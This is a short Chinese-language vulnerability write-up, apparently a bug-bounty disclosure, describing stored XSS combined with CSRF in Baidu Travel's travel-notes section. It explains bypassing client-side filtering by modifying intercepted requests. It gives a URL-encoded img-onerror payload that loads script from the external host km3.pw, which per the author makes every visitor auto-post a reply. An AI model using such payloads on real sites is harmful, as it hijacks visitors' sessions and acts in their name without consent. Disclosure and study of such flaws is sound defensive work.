百度某分站存储型XSS+csrf

今天跟往常一样闲着无事打开hao123找找站来X,突然就看到百度旅游了,突然就发现点问题了,然后妈妈再也不用担心我的帖子没回复了!

证明图:
 

QQ20141022-1.png

 

QQ20141022-6.png

首先问题出在游记 --> 实用攻略处
 

QQ20141022-2.png

在里面输入些字符 然后点击提交 然后抓包改包。

这里他会做很多次的验证 所以只修改一次是不行的!
 

QQ20141022-3.png

xss处就是我们的输入,虽然在前端限制了字符 但是服务端是没限制可输入字符的!

可以把payload给url编码一下然后放进去!

Payload:

%3Cimg%20src%3Dx%20onerror%3Ddocument.body.appendChild(createElement(%2Fscript%2F.source)).src%3Dalt%20alt%3D%2F%2Fkm3.pw%3E

加载 km3.pw/index.html的内容!

km3.pw的内容:
 

QQ20141022-4.png

 

只要访问我的游记就会在我的游记下回复 0x_Jin Test!

我们来看下效果:
 

QQ20141022-5.png

测试URL:

http://lvyou.baidu.com/notes/43cfba3e4ef59fdd26221554

解决方案:

过滤